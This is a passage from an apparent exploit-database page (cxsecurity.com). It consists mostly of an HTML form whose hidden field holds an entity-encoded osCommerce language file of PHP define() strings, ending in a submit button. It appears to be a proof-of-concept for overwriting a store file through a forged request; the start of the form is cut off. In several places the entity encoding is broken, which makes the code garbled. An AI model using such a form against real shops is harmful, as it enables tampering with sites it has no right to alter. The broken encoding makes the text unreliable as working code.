mp;#59;&#13;&#10;define&#40;&apos;ENTRY&#95;DATE&#95;OF&#95;BIRTH&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Date&#32;of&#32;Birth&#32;must&#32;be&#32;in&#32;this&#32;format&#58;&#32;MM&#47;DD&#47;YYYY&#32;&#40;eg&#32;05&#47;21&#47;1970&#41;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;DATE&#95;OF&#95;BIRTH&#95;TEXT&apos;&#44;&#32;&apos;&#42;&#32;&#40;eg&#46;&#32;05&#47;21&#47;1970&#41;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;EMAIL&#95;ADDRESS&apos;&#44;&#32;&apos;E&#45;Mail&#32;Address&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;EMAIL&#95;ADDRESS&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;E&#45;Mail&#32;Address&#32;must&#32;contain&# 32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;EMAIL&#95;ADDRESS&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;EMAIL&#95;ADDRESS&#95;CHECK&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;E&#45;Mail&#32;Address&#32;does&#32;not&#32;appear&#32;to&#32;be&#32;valid&#32;&#45;&#32;please&#32;make&#32;any&#32;necessary&#32;corrections&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;EMAIL&#95;ADDRESS&#95;ERROR&#95;EXISTS&apos;&#44;&#32;&apos;Your&#32;E&#45;Mail&#32;Address&#32;already&#32;exists&#32;in&#32;our&#32;records&#32;&#45;&#32;please&#32;log&#32;in&#32;with&#32;the&#32;e&#45;mail&#32;address&#32;or&#3 2;create&#32;an&#32;account&#32;with&#32;a&#32;different&#32;address&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;EMAIL&#95;ADDRESS&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STREET&#95;ADDRESS&apos;&#44;&#32;&apos;Street&#32;Address&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STREET&#95;ADDRESS&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Street&#32;Address&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;STREET&#95;ADDRESS&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STREET&#95;ADDRESS&#95;TEXT&apos;&#44;&#32 ;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;SUBURB&apos;&#44;&#32;&apos;Suburb&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;SUBURB&#95;TEXT&apos;&#44;&#32;&apos;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;POST&#95;CODE&apos;&#44;&#32;&apos;Post&#32;Code&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;POST&#95;CODE&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Post&#32;Code&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;POSTCODE&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;POST&#95;CODE&#95;TEXT&apos;&#44;&#32 ;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;CITY&apos;&#44;&#32;&apos;City&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;CITY&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;City&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;CITY&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;CITY&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STATE&apos;&#44;&#32;&apos;State&#47;Province&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STATE&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;State&#32;must&am p;am p;#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;STATE&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STATE&#95;ERROR&#95;SELECT&apos;&#44;&#32;&apos;Please&#32;select&#32;a&#32;state&#32;from&#32;the&#32;States&#32;pull&#32;down&#32;menu&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;STATE&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;COUNTRY&apos;&#44;&#32;&apos;Country&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;COUNTRY&#95;ERROR&apos;&#44;&#32;&apos;You&#32;must&#32;select&#32;a&#32;country&#32;from&#32;the& #32;Countries&#32;pull&#32;down&#32;menu&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;COUNTRY&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;TELEPHONE&#95;NUMBER&apos;&#44;&#32;&apos;Telephone&#32;Number&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;TELEPHONE&#95;NUMBER&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Telephone&#32;Number&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;TELEPHONE&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;TELEPHONE&#95;NUMBER&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13; &#10;define&#40;&apos;ENTRY&#95;FAX&#95;NUMBER&apos;&#44;&#32;&apos;Fax&#32;Number&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;FAX&#95;NUMBER&#95;TEXT&apos;&#44;&#32;&apos;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;NEWSLETTER&apos;&#44;&#32;&apos;Newsletter&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;NEWSLETTER&#95;TEXT&apos;&#44;&#32;&apos;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;NEWSLETTER&#95;YES&apos;&#44;&#32;&apos;Subscribed&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;NEWSLETTER&#95;NO&apos;&#44;&#32;&apos;Unsubscribed&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&apos;&#44;&#32;&apos ;Password&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Password&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;PASSWORD&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;ERROR&#95;NOT&#95;MATCHING&apos;&#44;&#32;&apos;The&#32;Password&#32;Confirmation&#32;must&#32;match&#32;your&#32;Password&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;CONFIRMATION&apos;&#44;&#32;&apos;Password&#32;Confirmatio n&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;CONFIRMATION&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;CURRENT&apos;&#44;&#32;&apos;Current&#32;Password&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;CURRENT&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;CURRENT&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;Password&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;PASSWORD&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#9 5;PASSWORD&#95;NEW&apos;&#44;&#32;&apos;New&#32;Password&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;NEW&#95;TEXT&apos;&#44;&#32;&apos;&#42;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;NEW&#95;ERROR&apos;&#44;&#32;&apos;Your&#32;new&#32;Password&#32;must&#32;contain&#32;a&#32;minimum&#32;of&#32;&apos;&#32;&#46;&#32;ENTRY&#95;PASSWORD&#95;MIN&#95;LENGTH&#32;&#46;&#32;&apos;&#32;characters&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ENTRY&#95;PASSWORD&#95;NEW&#95;ERROR&#95;NOT&#95;MATCHING&apos;&#44;&#32;&apos;The&#32;Password&#32;Confirmation&#32;must&#32;match&#32;your&#32;new&#32;Password&#46;&apos;&#41;&#59;&#13;&#10;def ine&#40;&apos;PASSWORD&#95;HIDDEN&apos;&#44;&#32;&apos;&#45;&#45;HIDDEN&#45;&#45;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;FORM&#95;REQUIRED&#95;INFORMATION&apos;&#44;&#32;&apos;&#42;&#32;Required&#32;information&apos;&#41;&#59;&#13;&#10;&#13;&#10;&#47;&#47;&#32;constants&#32;for&#32;use&#32;in&#32;tep&#95;prev&#95;next&#95;display&#32;function&#13;&#10;define&#40;&apos;TEXT&#95;RESULT&#95;PAGE&apos;&#44;&#32;&apos;Result&#32;Pages&#58;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;DISPLAY&#95;NUMBER&#95;OF&#95;PRODUCTS&apos;&#44;&#32;&apos;Displaying&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;to&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt; &#32;&#40;of&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;products&#41;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;DISPLAY&#95;NUMBER&#95;OF&#95;ORDERS&apos;&#44;&#32;&apos;Displaying&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;to&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;&#40;of&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;orders&#41;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;DISPLAY&#95;NUMBER&#95;OF&#95;REVIEWS&apos;&#44;&#32;&apos;Displaying&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;to&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;&#40;of&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;reviews&#41;&a mp;a mp;apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;DISPLAY&#95;NUMBER&#95;OF&#95;PRODUCTS&#95;NEW&apos;&#44;&#32;&apos;Displaying&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;to&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;&#40;of&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;new&#32;products&#41;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;DISPLAY&#95;NUMBER&#95;OF&#95;SPECIALS&apos;&#44;&#32;&apos;Displaying&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;to&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;&#40;of&#32;&lt;strong&gt;&#37;d&lt;&#47;strong&gt;&#32;specials&#41;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;PRE VNEXT&#95;TITLE&#95;FIRST&#95;PAGE&apos;&#44;&#32;&apos;First&#32;Page&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;TITLE&#95;PREVIOUS&#95;PAGE&apos;&#44;&#32;&apos;Previous&#32;Page&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;TITLE&#95;NEXT&#95;PAGE&apos;&#44;&#32;&apos;Next&#32;Page&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;TITLE&#95;LAST&#95;PAGE&apos;&#44;&#32;&apos;Last&#32;Page&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;TITLE&#95;PAGE&#95;NO&apos;&#44;&#32;&apos;Page&#32;&#37;d&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;TITLE&#95;PREV&#95;SET&#95;OF&#95;NO&#95;PAGE&apos;&#44;&#32;&apos;Previous&#32;Set&am p;am p;#32;of&#32;&#37;d&#32;Pages&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;TITLE&#95;NEXT&#95;SET&#95;OF&#95;NO&#95;PAGE&apos;&#44;&#32;&apos;Next&#32;Set&#32;of&#32;&#37;d&#32;Pages&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;BUTTON&#95;FIRST&apos;&#44;&#32;&apos;&amp;lt&#59;&amp;lt&#59;FIRST&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;BUTTON&#95;PREV&apos;&#44;&#32;&apos;&#91;&amp;lt&#59;&amp;lt&#59;&amp;nbsp&#59;Prev&#93;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&#95;BUTTON&#95;NEXT&apos;&#44;&#32;&apos;&#91;Next&amp;nbsp&#59;&amp;gt&#59;&amp;gt&#59;&#93;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;PREVNEXT&amp ; ;#95;BUTTON&#95;LAST&apos;&#44;&#32;&apos;LAST&amp;gt&#59;&amp;gt&#59;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;ADD&#95;ADDRESS&apos;&#44;&#32;&apos;Add&#32;Address&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;ADDRESS&#95;BOOK&apos;&#44;&#32;&apos;Address&#32;Book&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;BACK&apos;&#44;&#32;&apos;Back&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;BUY&#95;NOW&apos;&#44;&#32;&apos;Buy&#32;Now&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;CHANGE&#95;ADDRESS&apos;&#44;&#32;&apos;Change&#32;Address&apos;&#41;&#59;&#13;&#10;defi ne&#40;&apos;IMAGE&#95;BUTTON&#95;CHECKOUT&apos;&#44;&#32;&apos;Checkout&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;CONFIRM&#95;ORDER&apos;&#44;&#32;&apos;Confirm&#32;Order&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;CONTINUE&apos;&#44;&#32;&apos;Continue&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;CONTINUE&#95;SHOPPING&apos;&#44;&#32;&apos;Continue&#32;Shopping&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;DELETE&apos;&#44;&#32;&apos;Delete&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;EDIT&#95;ACCOUNT&apos;&#44;&#32;&apos;Edit&#32;Account&apos;&#41;&#59;&#13;&#10;define&#40;&apos ;IMAGE&#95;BUTTON&#95;HISTORY&apos;&#44;&#32;&apos;Order&#32;History&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;LOGIN&apos;&#44;&#32;&apos;Sign&#32;In&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;IN&#95;CART&apos;&#44;&#32;&apos;Add&#32;to&#32;Cart&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;NOTIFICATIONS&apos;&#44;&#32;&apos;Notifications&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;QUICK&#95;FIND&apos;&#44;&#32;&apos;Quick&#32;Find&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;REMOVE&#95;NOTIFICATIONS&apos;&#44;&#32;&apos;Remove&#32;Notifications&apos;&#41;&#59;&#13;&#10;define&# 40;&apos;IMAGE&#95;BUTTON&#95;REVIEWS&apos;&#44;&#32;&apos;Reviews&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;SEARCH&apos;&#44;&#32;&apos;Search&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;SHIPPING&#95;OPTIONS&apos;&#44;&#32;&apos;Shipping&#32;Options&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;TELL&#95;A&#95;FRIEND&apos;&#44;&#32;&apos;Tell&#32;a&#32;Friend&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;UPDATE&apos;&#44;&#32;&apos;Update&apos;&#41;&#59;&#13;&#10;define&#40;&apos;IMAGE&#95;BUTTON&#95;UPDATE&#95;CART&apos;&#44;&#32;&apos;Update&#32;Cart&apos;&#41;&#59;&#13;&#10;define&#40;&apos;I MAGE&#95;BUTTON&#95;WRITE&#95;REVIEW&apos;&#44;&#32;&apos;Write&#32;Review&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;SMALL&#95;IMAGE&#95;BUTTON&#95;DELETE&apos;&#44;&#32;&apos;Delete&apos;&#41;&#59;&#13;&#10;define&#40;&apos;SMALL&#95;IMAGE&#95;BUTTON&#95;EDIT&apos;&#44;&#32;&apos;Edit&apos;&#41;&#59;&#13;&#10;define&#40;&apos;SMALL&#95;IMAGE&#95;BUTTON&#95;VIEW&apos;&#44;&#32;&apos;View&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;ICON&#95;ARROW&#95;RIGHT&apos;&#44;&#32;&apos;more&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ICON&#95;CART&apos;&#44;&#32;&apos;In&#32;Cart&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ICON&#95;ERROR&apos;&#44;&amp ; ;#32;&apos;Error&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ICON&#95;SUCCESS&apos;&#44;&#32;&apos;Success&apos;&#41;&#59;&#13;&#10;define&#40;&apos;ICON&#95;WARNING&apos;&#44;&#32;&apos;Warning&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;GREETING&#95;PERSONAL&apos;&#44;&#32;&apos;Welcome&#32;back&#32;&lt;span&#32;class&#61;&quot;greetUser&quot;&gt;&#37;s&#33;&lt;&#47;span&gt;&#32;Would&#32;you&#32;like&#32;to&#32;see&#32;which&#32;&lt;a&#32;href&#61;&quot;&#37;s&quot;&gt;&lt;u&gt;new&#32;products&lt;&#47;u&gt;&lt;&#47;a&gt;&#32;are&#32;available&#32;to&#32;purchase&#63;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;GREETING&#95;PERSONA L&#95;RELOGON&apos;&#44;&#32;&apos;&lt;small&gt;If&#32;you&#32;are&#32;not&#32;&#37;s&#44;&#32;please&#32;&lt;a&#32;href&#61;&quot;&#37;s&quot;&gt;&lt;u&gt;log&#32;yourself&#32;in&lt;&#47;u&gt;&lt;&#47;a&gt;&#32;with&#32;your&#32;account&#32;information&#46;&lt;&#47;small&gt;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;GREETING&#95;GUEST&apos;&#44;&#32;&apos;Welcome&#32;&lt;span&#32;class&#61;&quot;greetUser&quot;&gt;Guest&#33;&lt;&#47;span&gt;&#32;Would&#32;you&#32;like&#32;to&#32;&lt;a&#32;href&#61;&quot;&#37;s&quot;&gt;&lt;u&gt;log&#32;yourself&#32;in&lt;&#47;u&gt;&lt;&#47;a&gt;&#63;&#32;Or&#32;would&#32;you&#32;prefer&#32;to&#32;&amp ; ;lt;a&#32;href&#61;&quot;&#37;s&quot;&gt;&lt;u&gt;create&#32;an&#32;account&lt;&#47;u&gt;&lt;&#47;a&gt;&#63;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;SORT&#95;PRODUCTS&apos;&#44;&#32;&apos;Sort&#32;products&#32;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;DESCENDINGLY&apos;&#44;&#32;&apos;descendingly&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;ASCENDINGLY&apos;&#44;&#32;&apos;ascendingly&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;BY&apos;&#44;&#32;&apos;&#32;by&#32;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;REVIEW&#95;BY&apos;&#44;&#32;&apos;by&#32;&#37;s&apos;&#41;&#59;&#13;&#10 ;define&#40;&apos;TEXT&#95;REVIEW&#95;WORD&#95;COUNT&apos;&#44;&#32;&apos;&#37;s&#32;words&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;REVIEW&#95;RATING&apos;&#44;&#32;&apos;Rating&#58;&#32;&#37;s&#32;&#91;&#37;s&#93;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;REVIEW&#95;DATE&#95;ADDED&apos;&#44;&#32;&apos;Date&#32;Added&#58;&#32;&#37;s&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;NO&#95;REVIEWS&apos;&#44;&#32;&apos;There&#32;are&#32;currently&#32;no&#32;product&#32;reviews&#46;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;NO&#95;NEW&#95;PRODUCTS&apos;&#44;&#32;&apos;There&#32;are&#32;currently&#32;no&#32;products&#46;& apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;UNKNOWN&#95;TAX&#95;RATE&apos;&#44;&#32;&apos;Unknown&#32;tax&#32;rate&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;REQUIRED&apos;&#44;&#32;&apos;&lt;span&#32;class&#61;&quot;errorText&quot;&gt;Required&lt;&#47;span&gt;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;ERROR&#95;TEP&#95;MAIL&apos;&#44;&#32;&apos;&lt;font&#32;face&#61;&quot;Verdana&#44;&#32;Arial&quot;&#32;size&#61;&quot;2&quot;&#32;color&#61;&quot;&#35;ff0000&quot;&gt;&lt;strong&gt;&lt;small&gt;TEP&#32;ERROR&#58;&lt;&#47;small&gt;&#32;Cannot&#32;send&#32;the&#32;email&#32;through&#32;the&#32;specified&#32;SMTP&# 32;server&#46;&#32;Please&#32;check&#32;your&#32;php&#46;ini&#32;setting&#32;and&#32;correct&#32;the&#32;SMTP&#32;server&#32;if&#32;necessary&#46;&lt;&#47;strong&gt;&lt;&#47;font&gt;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;TEXT&#95;CCVAL&#95;ERROR&#95;INVALID&#95;DATE&apos;&#44;&#32;&apos;The&#32;expiry&#32;date&#32;entered&#32;for&#32;the&#32;credit&#32;card&#32;is&#32;invalid&#46;&#32;Please&#32;check&#32;the&#32;date&#32;and&#32;try&#32;again&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;CCVAL&#95;ERROR&#95;INVALID&#95;NUMBER&apos;&#44;&#32;&apos;The&#32;credit&#32;card&#32;number&#32;entered&#32;is&#32;invalid&#46;&#32;Please&#32;check&#32;the&#32;number&#32 ;and&#32;try&#32;again&#46;&apos;&#41;&#59;&#13;&#10;define&#40;&apos;TEXT&#95;CCVAL&#95;ERROR&#95;UNKNOWN&#95;CARD&apos;&#44;&#32;&apos;The&#32;first&#32;four&#32;digits&#32;of&#32;the&#32;number&#32;entered&#32;are&#58;&#32;&#37;s&#46;&#32;If&#32;that&#32;number&#32;is&#32;correct&#44;&#32;we&#32;do&#32;not&#32;accept&#32;that&#32;type&#32;of&#32;credit&#32;card&#46;&#32;If&#32;it&#32;is&#32;wrong&#44;&#32;please&#32;try&#32;again&#46;&apos;&#41;&#59;&#13;&#10;&#13;&#10;define&#40;&apos;FOOTER&#95;TEXT&#95;BODY&apos;&#44;&#32;&apos;Copyright&#32;&amp;copy&#59;&#32;&apos;&#32;&#46;&#32;date&#40;&apos;Y&apos;&#41;&#32;&#46;&#32;&apos;&#32;&lt;a&#32;href&#6 1;&quot;&apos;&#32;&#46;&#32;tep&#95;href&#95;link&#40;FILENAME&#95;DEFAULT&#41;&#32;&#46;&#32;&apos;&quot;&gt;&apos;&#32;&#46;&#32;STORE&#95;NAME&#32;&#46;&#32;&apos;&lt;&#47;a&gt;&lt;br&#32;&#47;&gt;Powered&#32;by&#32;&lt;a&#32;href&#61;&quot;http&#58;&#47;&#47;www&#46;oscommerce&#46;com&quot;&#32;target&#61;&quot;&#95;blank&quot;&gt;osCommerce&lt;&#47;a&gt;&apos;&#41;&#59;&#13;&#10;&#63;&gt;&#13;&#10;" /> <input type="submit" value="Go" /> </form> </body> </html>


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top